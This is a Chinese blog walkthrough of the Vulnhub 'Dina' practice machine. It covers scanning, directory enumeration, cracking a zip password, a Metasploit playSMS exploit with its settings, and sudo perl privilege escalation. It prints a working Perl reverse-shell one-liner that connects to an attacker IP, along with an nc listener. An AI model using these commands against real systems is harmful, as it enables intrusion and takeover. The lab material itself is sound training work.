当前位置: 首页 > news >正文

Dina靶机详解

靶机下载

https://www.vulnhub.com/entry/dina-101,200/

靶机配置

默认是桥接模式,切换为NAT模式后重启靶机

主机发现

arp-scan -l

端口扫描

nmap -sV -A -T4 192.168.229.157

发现80端口开启,访问

访问网站

目录扫描

python dirsearch.py -u http://192.168.229.157:80

拼接访问

http://192.168.229.157/robots.txt

robots.txt文件是一个文本文件,用于告诉网络爬虫(也称为网络机器人)哪些页面或文件可以请求,哪些不能请求你的网站。它通常放在网站的根目录中。

robots.txt文件是一个简单的文本文件,包含了爬虫在爬取你的网站时应该遵循的指令。它允许你指定哪些页面或文件可以被索引,哪些应该被排除在索引之外。

 http://192.168.229.157/secure/

下载backup.zip并查看,解压时发现需要密码

在进行Web应用程序安全测试时,通常会尝试一些常见的目录和文件名来探测Web服务器的配置和漏洞。"/nothing" 是一个常见的文件名,它通常表示请求了一个不存在的资源。
当在URL后面拼接 "/nothing" 时,可能会产生以下两种情况之一:
1. 如果Web服务器没有对"/nothing"进行特殊处理,并且该文件或目录不存在,那么Web服务器可能会返回一个默认的404页面。
2. 如果Web服务器对"/nothing"进行了特殊处理,并且该文件或目录存在,那么Web服务器可能会返回该文件或目录的内容。
如果Web服务器返回的是一个404页面,那么我们可能会注意到页面中是否包含有关服务器配置或Web应用程序版本的信息。这些信息可能会帮助我们确定Web应用程序的类型和版本,从而为进一步的渗透测试提供线索。
以下是一些可能有用的拼接点:
1. /crossdomain.xml:此文件通常用于跨域资源共享(CORS),它定义了哪些网站可以从其他网站访问资源。
2. /.git/:如果网站使用Git版本控制系统,那么此目录可能包含敏感信息,如提交历史记录和配置文件。
3. /.svn/:如果网站使用Subversion版本控制系统,那么此目录可能包含敏感信息,如提交历史记录和配置文件。
4. /backup/:此目录通常用于存储备份文件,如果网站使用自动备份功能,那么此目录可能包含备份文件的副本。
5. /admin/:此目录通常用于管理网站的后端,如果网站没有限制对该目录的访问,那么攻击者可能会试图猜测管理员的用户名和密码。
6. /config/:此目录通常用于存储网站的配置文件,如果网站没有限制对该目录的访问,那么攻击者可能会试图读取敏感信息。
7. /uploads/:此目录通常用于存储用户上传的文件,如果网站没有限制对该目录的访问,那么攻击者可能会试图上传恶意文件。
8. /server-status:此页面通常用于显示服务器的状态信息,如果网站没有限制对该页面的访问,那么攻击者可能会试图获取服务器的敏感信息。
9. /phpinfo.php:此页面通常用于显示PHP的配置信息,如果网站没有限制对该页面的访问,那么攻击者可能会试图获取PHP的敏感信息。
10. /CHANGELOG.txt:此文件通常用于记录网站的变更历史,如果网站没有限制对该文件的访问,那么攻击者可能会试图获取敏感信息

我们通过测试发现拼接/nothing有特殊回显

http://192.168.229.157/nothing/

发现不是404,我们查看页面源码,这些信息可能是接下来账户的密码,先尝试是不是加密视频的密码

发现freedom是加密密码

发现已经损坏,我们尝试使用记事本打开,发现url和uname以及一个加密密码,这个加密密码我们可以尝试使用之前文件夹的密码进行破解,url拼接访问

192.168.229.157/SecreTSMSgatwayLogin

通过尝试发现密码为diana

出现这个需要切换浏览器访问

登录成功,发现CMS,利用MSF查看是否有nday漏洞

GETshell

开启MSF

msfconsole

查询CMS历史漏洞

search playSMS

尝试过后,序号2可以成功利用

use 2
show options
yes代表该参数是必须设置的

set targeturi /SecreTSMSgatwayLogin #配置上传文件页面的urlset password diana                  #配置密码set username touhid                 #配置账户set rhosts 192.168.121.184          #靶机ipset lhost 192.168.121.171           #kali监听机的ipset LPORT 1234                      #kali监听的端口

getshell成功

提权

列出当前用户能执行的sudo命令

sudo -l

这段sudo -l命令结果显示了当前用户(www-data)的权限范围,以及哪些命令可以使用sudo命令执行。

首先,它显示了当前用户的默认环境变量设置:

env_reset

这意味着在执行sudo命令时,会重置当前用户的环境变量。

然后,它显示了当前用户可用的安全路径:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

这意味着当前用户可以使用的命令的路径。

最后,它显示了当前用户可以使用sudo命令执行的命令:

(ALL) NOPASSWD: /usr/bin/perl

这意味着www-data用户可以使用sudo命令执行/usr/bin/perl命令,并且不需要输入密码。

这意味着攻击者可以利用www-data用户的权限来执行/usr/bin/perl命令,从而可能获取到服务器的权限。

kali开启监听

nc -lvvp 9999

通过perl写入反向shell语句

sudo perl -e 'use Socket;$i="192.168.229.132";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反向shell语句分析

这段代码使用Perl语言创建了一个反向shell,用于连接攻击者控制的服务器。这段代码的目的是创建一个连接到攻击者控制的服务器的socket。它首先定义了目标服务器的IP地址和端口号,然后使用Perl的Socket模块创建一个TCP socket连接。如果连接成功,代码使用exec函数执行一个shell命令,从而使攻击者可以获取目标服务器的控制权限。

提权成功

whoami
id


http://www.mrgr.cn/news/28040.html

相关文章:

  • python mmap包介绍
  • 数字IC后端低功耗设计实现案例分享(3个power domain,2个voltage domain)
  • C# 操作Excel的多种方式
  • Python数据分析NumPy和pandas(二十九、其他Python可视化工具)
  • 远程连接服务器
  • 万字长文解读深度学习——卷积神经网络CNN
  • JDBC注册驱动及获取连接
  • 【字幕】恋上数据结构与算法之015动态数组03简单接口的实现
  • TikTok商家如何通过真人测评提高流量和销量?
  • C++之AVL树
  • VUE3初学者必备的快速开发入门指南
  • 系统架构设计师教程 第5章 5.6 基于构件的软件工程 笔记
  • Dubbo从入门到实战
  • ??Nginx实现会话保持_Nginx会话保持与Redis的结合_Nginx实现四层负载均衡
  • 嵌入式通信原理—SPI总线通信原理与应用
  • 2024中国算力大会 2024 China Computational Power Conference
  • GB28181在融合指挥调度系统应用方案探究和技术实现
  • 解决跨境电商平台账号无法访问的常见问题
  • springboot老年康复中心—计算机毕业设计源码27406
  • FreeRTOS实战指南 — 3.1 C语言链表
  • 斗破C++编程入门系列之二十七:数组、指针和字符串:string类(一星斗师)
  • 【C++】unordered系列
  • MongoDB的详细安装教程
  • string类的模拟实现
  • 【AI大模型】ChatGPT模型原理介绍(下)
  • 编程辅助工具下一个热门应用场景是什么?(一)